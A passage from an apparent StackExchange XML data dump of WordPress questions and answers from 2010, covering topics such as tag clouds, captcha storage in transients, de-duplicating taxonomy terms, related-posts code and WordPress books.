types&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-12T06:26:05.730" LastActivityDate="2010-09-12T06:26:05.730" CommentCount="1" />
  <row Id="1137" PostTypeId="2" ParentId="1134" CreationDate="2010-09-01T02:30:28.673" Score="1" ViewCount="" Body="&lt;p&gt;Check out the function &lt;code&gt;wp_generate_tag_cloud()&lt;/code&gt; in &lt;code&gt;wp-includes/category-template.php&lt;/code&gt;. It's not database-specific, you would just query your table and format the data for &lt;code&gt;wp_generate_tag_cloud()&lt;/code&gt;. I'm unable to post sample code tonight, but I'll check back on this question tomorrow and post an example if no one else has done so.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-09-01T02:30:28.673" CommentCount="1" />
  <row Id="1138" PostTypeId="1" AcceptedAnswerId="1144" CreationDate="2010-09-01T02:31:30.810" Score="1" ViewCount="76" Body="&lt;p&gt;I was just wondering if something like this would work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The page displays a form, with a captcha code inside it.&lt;/li&gt;&#xA;&lt;li&gt;When this form is generated, a &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;transient&lt;/a&gt; is set to store the captcha code.&lt;/li&gt;&#xA;&lt;li&gt;The vistor submits the form&lt;/li&gt;&#xA;&lt;li&gt;After submit &lt;code&gt;$_POST['captcha']&lt;/code&gt; is compared to the transient from the database; if matched return success, otherwise fail&lt;/li&gt;&#xA;&lt;li&gt;Delete the transient&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What do you think? Is this secure?&lt;/p&gt;&#xA;" OwnerUserId="600" LastActivityDate="2010-09-01T03:19:29.350" Title="Using transients to store captchas" Tags="&lt;3.0&gt;&lt;forms&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="1139" PostTypeId="2" ParentId="1121" CreationDate="2010-09-01T02:35:44.273" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Grant Palin&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are like me you probably view most books as being much too simple to really learn anything useful from because publishers are always trying to dumb them down to reach a broader audience. If you are like me, these two are probably some of the better books on the market because I think &lt;strong&gt;they are among the more advanced&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.sitepoint.com/books/wordpress1/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Build Your Own Wicked WordPress Themes&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100831-223240.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;&lt;a href=&quot;http://www.prelovac.com/vladimir/wordpress-plugin-development-book&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress Plugin Development – Beginner’s Guide&lt;/strong&gt;&lt;/a&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100831-222942.png&quot; alt=&quot;Cover of Vladimir Prelovac's WordPress Plugin Development – Beginner’s Guide&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the books recommended by the others have their merits so, unless the cost of these books is significant to you I'd recommend grabbing them all and seeing what you can learn! Of course be sure to come back here to ask question about anything that's unclear or that that you have to take to a much great depth!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-01T02:35:44.273" CommunityOwnedDate="2010-09-04T23:21:01.927" CommentCount="3" />
  <row Id="1140" PostTypeId="1" AcceptedAnswerId="1143" CreationDate="2010-09-01T02:36:26.003" Score="1" ViewCount="366" Body="&lt;p&gt;I have a custom post type that includes a custom taxonomy, called &lt;code&gt;client_name&lt;/code&gt;. There is a page that loads these custom post types and displays them. What I need to develop is a dropdown list that displays all the custom taxonomy of those custom posts, which I have done, but I need to remove duplicates, and arrange them alphabetically, which is where I am having problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I am trying for removing duplicates (it doesn't work):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&amp;lt;form method=&quot;post&quot; id=&quot;clientform&quot; action=&quot;&quot; onsubmit=&quot;return getURL(this.url.value)&quot;&amp;gt;&#xA;  &amp;lt;select name=&quot;url&quot; id=&quot;client&quot;&amp;gt;&#xA;    &amp;lt;option selected=&quot;selected&quot;&amp;gt;By Client&amp;lt;/option&amp;gt;&#xA;    &amp;lt;?php&#xA;      $args=array(    &#xA;        'post_type' =&amp;gt; 'our_work',&#xA;        'post_status' =&amp;gt; 'publish',&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'posts_per_page' =&amp;gt; -1&#xA;      );&#xA;      $my_query = new WP_Query($args);&#xA;      $k=0;&#xA;      if( $my_query-&amp;gt;have_posts() ) { &#xA;        while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;          $termArray[$k] = array (trim(get_the_term_list( $post-&amp;gt;ID, 'client_name')));&#xA;          // $text = trim(get_the_term_list( $post-&amp;gt;ID, 'client_name'));&#xA;          for ($i = 0; $i &amp;lt;= $termArray.count; $i++ ) {    &#xA;            for ($j = 0; $j &amp;lt;= $tempArray.count; $j++) {&#xA;              if ($tempArray[$i] == $tempArray[$j]) {        &#xA;                unset($tempArray[$k]); &#xA;                $termArray = array_values($termArray);&#xA;              }&#xA;            } // end of for &#xA;            $k++; &#xA;        ?&amp;gt;&amp;lt;option value=&quot;&amp;lt;?php bloginfo('url'); echo &quot;/client_name/&quot;; echo $termArray[$k]; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $termArray[$k]; ?&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;?php &#xA;        } ?&amp;gt;    &#xA;        &amp;lt;?php &#xA;        endwhile; &#xA;      } &#xA;      wp_reset_query(); &#xA;    ?&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; id=&quot;clientsubmit&quot; value=&quot;Search&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, now I ran across this PHP function the other day and it does what I want, I just dont know how to use it correctly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;array_unique($input);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Help me out guys .... &#xA;Note the code listed above is only one code branch I was trying, not the whole file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hey this does help me quite a bit, it and I found this to use, this gets me like 95% done, but not 100% yet. I tried your code, and I tried this one I am using, and it removes the dup's but anything that comes after it wont display hmm....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres the WP code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if( $my_query-&amp;gt;have_posts() ) { &#xA;  while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;    $termArray[$i] = trim(get_the_term_list( $post-&amp;gt;ID, 'client_name'));&#xA;    $termArray = array_unique($termArray);&#xA;    $termArray = array_values($termArray);&#xA;    print_r($termArray);  &#xA;    print_r(sizeof($termArray));&#xA;    if ($termArray[$i] != '') { &#xA;      ?&amp;gt;&amp;lt;option value=&quot;&amp;lt;?php bloginfo('url'); echo &quot;/client_name/&quot;; echo $termArray[$i]; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $termArray[$i]; ?&amp;gt;&amp;lt;/option&amp;gt;&amp;lt;?php &#xA;    }// end of if $i++; &#xA;  endwhile; &#xA;} &#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the output from the array, it duplicates the array output because it is called every time a new post is called within the loop. The page is available here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://magicvideo.com/cms/work/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;http://magicvideo.com/cms/work/&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;View the source to see what i mean.&lt;/p&gt;&#xA;" OwnerUserId="601" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-08-12T18:45:19.777" LastActivityDate="2011-08-12T18:45:19.777" Title="Removing Duplicate Custom Taxonomy Terms from within a Dropdown Select?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="1141" PostTypeId="2" ParentId="1092" CreationDate="2010-09-01T02:38:58.890" Score="0" ViewCount="" Body="&lt;p&gt;As the author of Yet Another Related Posts Plugin, I of course will recommend that plugin. :) (Thanks to Steve and Doug for pointing this out as well.) The feedback I get time and time again is that the &quot;related&quot; results received from YARPP tend to better reflect an intuitive notion of &quot;relatedness&quot;, largely due to YARPP's algorithm looking at not just shared categories but also shared tags, shared keywords in the title, and shared keywords in the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tutorial on the custom templating functionality mentioned is available &lt;a href=&quot;http://mitcho.com/blog/projects/yarpp-3-templates/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. If you have any questions getting YARPP integrated in your setup, I (and many other YARPP users) can help on the wordpress.org forums' section for YARPP.&lt;/p&gt;&#xA;" OwnerUserId="584" LastActivityDate="2010-09-01T02:38:58.890" />
  <row Id="1142" PostTypeId="2" ParentId="1115" CreationDate="2010-09-01T02:53:49.860" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.linkedin.com/in/dancollispuro&quot; rel=&quot;nofollow&quot;&gt;Dan Collis-Puro&lt;/a&gt; has a great article on &lt;strong&gt;how Harvard Law used Nginx as a front-end proxy for WordPress&lt;/strong&gt;, and has released a WordPress plugin which outputs some HTTP headers to interface with Nginx, also available in the article. The readme has information on how to get things set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the article:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogs.law.harvard.edu/djcp/2010/01/nginx-as-a-front-end-proxy-cache-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Nginx as a front-end proxy cache for WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that at Harvard Law, they've completely abandoned all WP-side caching in favor of Nginx. The additional complexity in the WP side, they found, was completely unnecessary after getting nginx set up.&lt;/p&gt;&#xA;" OwnerUserId="584" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T05:02:18.390" LastActivityDate="2010-09-01T05:02:18.390" CommentCount="1" />
  <row Id="1143" PostTypeId="2" ParentId="1140" CreationDate="2010-09-01T02:56:39.030" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Hunter Brelsford:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good to see you here over from the &lt;a href=&quot;http://www.linkedin.com/groups?mostPopular=&amp;amp;gid=154024&quot; rel=&quot;nofollow&quot;&gt;WordPress Group on LinkedIn&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I misunderstand your question but it sounds like you are &lt;strong&gt;simply trying to get rid of dups in an array?&lt;/strong&gt; For example, let's say you have an array clients:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$clients = array(&#xA;  'Jones Construction',&#xA;  'Smith Wholesale',&#xA;  'Smith Wholesale',&#xA;  'Williams Dry Cleaning'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you want to convert to an array like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$clients = array(&#xA;  'Jones Construction',&#xA;  'Smith Wholesale',&#xA;  'Williams Dry Cleaning'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;If yes, that's a PHP question and not a WordPress question, normally something &lt;a href=&quot;http://stackoverflow.com&quot;&gt;we send away&lt;/a&gt;, but I'll go ahead and answer here anyway.&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tis easy; since array keys are unique in PHP just flip the array (exchange the values with their keys) then return the array keys and you'll have your unique array, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$clients = array(&#xA;  'Jones Construction',&#xA;  'Smith Wholesale',&#xA;  'Smith Wholesale',&#xA;  'Williams Dry Cleaning'&#xA;);&#xA;print_r(array_keys(array_flip($clients)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code prints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [0] =&amp;gt; Jones Construction&#xA;    [1] =&amp;gt; Smith Wholesale&#xA;    [2] =&amp;gt; Williams Dry Cleaning&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Was that what you were after?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hi &lt;strong&gt;@Hunter Brelsford&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm responding to your update. Okay, why don't we try and tackle this a different way? Here's a standalone example you can copy to the root of your website as &lt;code&gt;test.php&lt;/code&gt; and then run it as &lt;a href=&quot;http://magicvideo.com/test.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;http://magicvideo.com/test.php&lt;/code&gt;&lt;/a&gt; to see it work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include &quot;wp-load.php&quot;;&#xA;header('Content-Type:text/plain');&#xA;global $wpdb;&#xA;$sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT DISTINCT&#xA;  tt.term_id&#xA;FROM {$wpdb-&amp;gt;posts} p&#xA;  INNER JOIN {$wpdb-&amp;gt;term_relationships} tr ON p.ID = tr.object_id&#xA;  INNER JOIN {$wpdb-&amp;gt;term_taxonomy} tt ON tt.term_taxonomy_id = tr.term_taxonomy_id&#xA;WHERE 1=1&#xA;  AND p.post_status='publish'&#xA;  AND p.post_type='our_work'&#xA;  AND tt.taxonomy='client_name'&#xA;SQL;&#xA;$terms = $wpdb-&amp;gt;get_results($sql);&#xA;$term_ids = array();&#xA;foreach($terms as $term) {&#xA;  $term_ids[] = $term-&amp;gt;term_id;&#xA;}&#xA;$terms = get_terms('client_name',array(&#xA;  'include'=&amp;gt; implode(',',$term_ids),&#xA;));&#xA;print_r($terms);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We use raw SQL to query the terms in the &lt;code&gt;taxonomy='client_name'&lt;/code&gt; for &lt;code&gt;'post_type='our_work'&lt;/code&gt; and then we collect the &lt;code&gt;$term-&amp;gt;term_id&lt;/code&gt;s to filter the list of taxonomy terms. I used raw SQL because WordPress doesn't provide a good way to get this data through an API, at least not that I could find on short notice (&lt;em&gt;if someone else knows of a better way via the API that doesn't require loading a lot more data than necessary please let me know&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will suggest an approach so that you'll be able to use this code in your example? Let me know if know if not.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-04T02:00:03.837" LastActivityDate="2010-09-04T02:00:03.837" />
  <row Id="1144" PostTypeId="2" ParentId="1138" CreationDate="2010-09-01T03:19:29.350" Score="1" ViewCount="" Body="&lt;p&gt;I think that, while this method could be secure, there are many advantages to using an off-the-shelf captcha system, both in terms of the security of the captcha images/audio/media, and also in terms of performance advantages like caching. If you use a captcha widget which is JavaScript based, for example, the underlying WordPress-generated page could actually be completely cached as a static page by a number of caching plugins. If you are generating the captcha in PHP each time, this would not be possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do go down this route, one thing you'll want to do as well is to add a hidden nonce to the form as well to make sure that the user agent responding to the captcha is the one who you just generated it for. WordPress's wp_nonce function can help you do this easily. Otherwise, if you do not flush your captcha transients carefully, it's possible for someone to cache that page with the captcha and have another user agent send the response.&lt;/p&gt;&#xA;" OwnerUserId="584" LastActivityDate="2010-09-01T03:19:29.350" CommentCount="2" />
  <row Id="1145" PostTypeId="2" ParentId="1064" CreationDate="2010-09-01T03:30:13.720" Score="1" ViewCount="" Body="&lt;p&gt;You didn't mention WP-LaTeX in your question, so if you haven't looked at it yet, I would encourage you to do so. While I don't think display mode is supported, it does have support for various font sizes and some other nice features, and is built and supported by Automattic. The plugin uses their LaTeX-ing service and, while very fast, it would be possible for you to create equivalent queries and cache the result images on your own server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-latex/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-latex/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="584" LastActivityDate="2010-09-01T03:30:13.720" CommentCount="1" />
  <row Id="1146" PostTypeId="1" CreationDate="2010-09-01T03:41:13.353" Score="0" ViewCount="204" Body="&lt;p&gt;After upgrading from WP 2.7.1 to 3.0.1, many of my posts are not showing in the admin section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have almost 30 posts, but they're not showing on the post admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a mirror so I have a backup. But the problem is I can't upgrade WP +all plug-ins which I'm using in 2.7.1 because many posts are not showing on testing mirror.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But they are showing on main live version.&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditorDisplayName="" LastEditDate="2010-09-02T19:53:24.143" LastActivityDate="2011-01-17T10:37:23.803" Title="Why do posts disappear from admin after upgrading from WP 2.7.1 to 3.0.1?" Tags="&lt;3.0.1&gt;&lt;plugins&gt;&lt;updates&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="1147" PostTypeId="2" ParentId="1085" CreationDate="2010-09-01T03:56:35.810" Score="0" ViewCount="" Body="&lt;p&gt;There are services and consultants out there that will do a conversion for you... There is no easy way to do this&lt;/p&gt;&#xA;" OwnerUserId="496" LastActivityDate="2010-09-01T03:56:35.810" />
  <row Id="1148" PostTypeId="2" ParentId="1085" CreationDate="2010-09-01T04:29:40.617" Score="2" ViewCount="" Body="&lt;p&gt;Here is a free and good step by step tutorial with video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How To Convert an XHTML Website Template into a WordPress Theme&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jonbishop.com/2010/03/convert-html-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://www.jonbishop.com/2010/03/convert-html-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many tools on market which claims to PSD/Xhtml 2 Wordpress &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.divine-project.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.divine-project.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.artisteer.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.artisteer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.artisteer.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.artisteer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but coding manually is the best way. No quick way to get custom and great themes.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2010-09-01T04:29:40.617" />
  <row Id="1149" PostTypeId="2" ParentId="1132" CreationDate="2010-09-01T05:18:02.000" Score="2" ViewCount="" Body="&lt;p&gt;One annoying function of Simple:Press is that it does not update via the standard update method.  You have to upload a new version every time they update.  :(&lt;/p&gt;&#xA;" OwnerUserId="375" LastActivityDate="2010-09-01T05:18:02.000" />
  <row Id="1150" PostTypeId="2" ParentId="1092" CreationDate="2010-09-01T05:25:23.547" Score="0" ViewCount="" Body="&lt;p&gt;the follow small function list related post via tags&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// related post with wordpress-tags&#xA;// wordpress &amp;gt; 2.3&#xA;function fbbl_related_posts($limit = 5) {&#xA;    global $wpdb, $post, $table_prefix;&#xA;&#xA;    if ($post-&amp;gt;ID) {&#xA;        $retval = '&amp;lt;ul&amp;gt;';&#xA;        // Get tags&#xA;        $tags = wp_get_post_tags($post-&amp;gt;ID);&#xA;        $tagsarray = array();&#xA;        foreach ($tags as $tag) {&#xA;            $tagsarray[] = $tag-&amp;gt;term_id;&#xA;        }&#xA;        $tagslist = implode(',', $tagsarray);&#xA;&#xA;        // Do the query&#xA;        $q = &quot;SELECT p.*, count(tr.object_id) as count&#xA;            FROM $wpdb-&amp;gt;term_taxonomy AS tt, $wpdb-&amp;gt;term_relationships AS tr,     $wpdb-&amp;gt;posts AS p WHERE tt.taxonomy ='post_tag' AND tt.term_taxonomy_id = tr.term_taxonomy_id AND tr.object_id  = p.ID AND tt.term_id IN ($tagslist) AND p.ID != $post-&amp;gt;ID&#xA;                AND p.post_status = 'publish'&#xA;                AND p.post_date_gmt &amp;lt; NOW()&#xA;            GROUP BY tr.object_id&#xA;            ORDER BY count DESC, p.post_date_gmt DESC&#xA;            LIMIT $limit;&quot;;&#xA;&#xA;        $related = $wpdb-&amp;gt;get_results($q);&#xA;        if ( $related ) {&#xA;            foreach($related as $r) {&#xA;                $retval .= '&amp;lt;li&amp;gt;&amp;lt;a rel=&quot;nofollow&quot; title=&quot;' . wptexturize($r-&amp;gt;post_title) . '&quot; href=&quot;' . get_permalink($r-&amp;gt;ID) . '&quot;&amp;gt;' . wptexturize($r-&amp;gt;post_title) . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;    } else {&#xA;        $retval .= '&amp;lt;li&amp;gt;' . __('no related posts', TEXTDOMAIN) . '&amp;lt;/li&amp;gt;';&#xA;        } $retval .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;        echo $retval;&#xA;    }&#xA;&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;alternativ you can use the category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * related post with category&#xA; * @param: int $limit limit of posts&#xA; * @param: bool $catName echo category name&#xA; * @param: string $title string before all entries&#xA; * Example: echo fb_cat_related_posts();&#xA; */&#xA;if ( !function_exists('fb_get_cat_related_posts') ) {&#xA;    function fb_get_cat_related_posts( $limit = 5, $catName = FALSE, $title = '&amp;lt;h3&amp;gt;&amp;amp;Auml;hnliche Beitr&amp;amp;auml;ge&amp;lt;/h3&amp;gt;' ) {&#xA;        global $post;&#xA;&#xA;        $limit = (int) $limit;&#xA;        $output  = '';&#xA;        $output .= $title;&#xA;&#xA;        $category = get_the_category();&#xA;        $category = (int) $category[0]-&amp;gt;cat_ID;&#xA;&#xA;        if ( $catName )&#xA;            $output .= __( 'Category: ', FB_BASIS_TEXTDOMAIN ) . get_cat_name($category) . ' ';&#xA;&#xA;        $output .= '&amp;lt;ul&amp;gt;';&#xA;&#xA;        $args = array(&#xA;            'numberposts' =&amp;gt; $limit + 1,&#xA;            'category' =&amp;gt; $category,&#xA;        ); &#xA;&#xA;        $recentposts = get_posts( $args );&#xA;        foreach($recentposts as $catpost) {&#xA;            if ($catpost-&amp;gt;ID !== $post-&amp;gt;ID) {&#xA;                setup_postdata($catpost);&#xA;                $output .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_permalink($catpost-&amp;gt;ID) . '&quot;&amp;gt;' . get_the_title($catpost-&amp;gt;ID) . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            }&#xA;        }&#xA;&#xA;        $output .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;        return $output;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-09-01T05:25:23.547" />
  <row Id="1151" PostTypeId="1" AcceptedAnswerId="1154" CreationDate="2010-09-01T06:05:58.707" Score="1" ViewCount="143" Body="&lt;p&gt;Is this a good example of usage of &lt;code&gt;current_filter()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter(&quot;_my_filter&quot;,&quot;common_function&quot;);&#xA;add_filter(&quot;_another_filter&quot;,&quot;common_function&quot;);&#xA;function common_function(){&#xA;  $currentFilter = current_filter();&#xA;  switch ($currentFilter) {&#xA;    case '_my_filter':&#xA;      echo &quot;Called by My Filter&quot;;&#xA;      break;&#xA;    case '_another_filter':&#xA;      echo &quot;Called by another filter&quot;;&#xA;      break;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I am guessing &lt;code&gt;current_filter()&lt;/code&gt; is used to get the name of the filter for which the current execution is happening?&lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T06:16:57.440" LastActivityDate="2010-09-01T07:13:50.080" Title="Is This A Correct Example Usage Of current_filter()?" Tags="&lt;hooks&gt;&lt;php&gt;&lt;current-filter&gt;" AnswerCount="2" />
  <row Id="1152" PostTypeId="2" ParentId="1121" CreationDate="2010-09-01T06:16:32.060" Score="0" ViewCount="" Body="&lt;p&gt;This is also a good book for Wordpress themes &lt;a href=&quot;http://rockablepress.com/books/rockstar-wordpress-designer/&quot; rel=&quot;nofollow&quot;&gt;http://rockablepress.com/books/rockstar-wordpress-designer/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here are some more &lt;a href=&quot;http://www.netchunks.com/reviews/25-best-books-for-wordpress-bloggers/&quot; rel=&quot;nofollow&quot;&gt;http://www.netchunks.com/reviews/25-best-books-for-wordpress-bloggers/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Altough in my opinion online content&lt;/strong&gt; of &lt;a href=&quot;http://codex.wordpress.org/Main_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Main_Page&lt;/a&gt; is best and updated resource among all.&lt;/p&gt;&#xA;" OwnerUserId="32" LastActivityDate="2010-09-01T06:16:32.060" CommunityOwnedDate="2010-09-04T23:21:01.927" />
  <row Id="1153" PostTypeId="2" ParentId="1132" CreationDate="2010-09-01T06:19:43.863" Score="2" ViewCount="" Body="&lt;p&gt;There's a good comment thread going on right now over at &lt;a href=&quot;http://weblogtoolscollection.com/archives/2010/08/14/wordpress-and-forums/&quot; rel=&quot;nofollow&quot;&gt;http://weblogtoolscollection.com/archives/2010/08/14/wordpress-and-forums/&lt;/a&gt;. You'll be able to read a lot of different opinions there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I posted over there, I'm waiting for one from Justin Tadlock at www.themehybrid.com that is supposed to go into beta in the next two weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A comment about the post above and BuddyPress. It is getting more hype, but the forum software at the core of it is also bbPress, and subject to the same limitations and cons. They are planning on splitting it in the future, but for now the whole package comes together.&lt;/p&gt;&#xA;" OwnerUserId="472" LastActivityDate="2010-09-01T06:19:43.863" />
  <row Id="1154" PostTypeId="2" ParentId="1151" CreationDate="2010-09-01T06:29:53.853" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Raj Sekharan&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks good to me, but is wanting to know the current usage really your question or do you want to understand where &lt;code&gt;current_filter()&lt;/code&gt; gets it's information from?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the latter, here's basically what happens in all the different hook processing functions, e.g. &lt;code&gt;do_action()&lt;/code&gt;, &lt;code&gt;apply_filters()&lt;/code&gt;, &lt;code&gt;do_action_ref_array()&lt;/code&gt;, &lt;code&gt;apply_filters_ref_array()&lt;/code&gt; (&lt;strong&gt;&lt;em&gt;greatly&lt;/strong&gt; simplified, of course&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function &amp;lt;process_hook&amp;gt;($hook, $value) {&#xA;  global $wp_filter, $wp_current_filter;&#xA;  $wp_current_filter[] = $hook;  // &quot;Push&quot; the hook onto the stack.&#xA;  $value = call_user_func($wp_filter[$hook]['function'],$value);&#xA;  array_pop($wp_current_filter);&#xA;  return 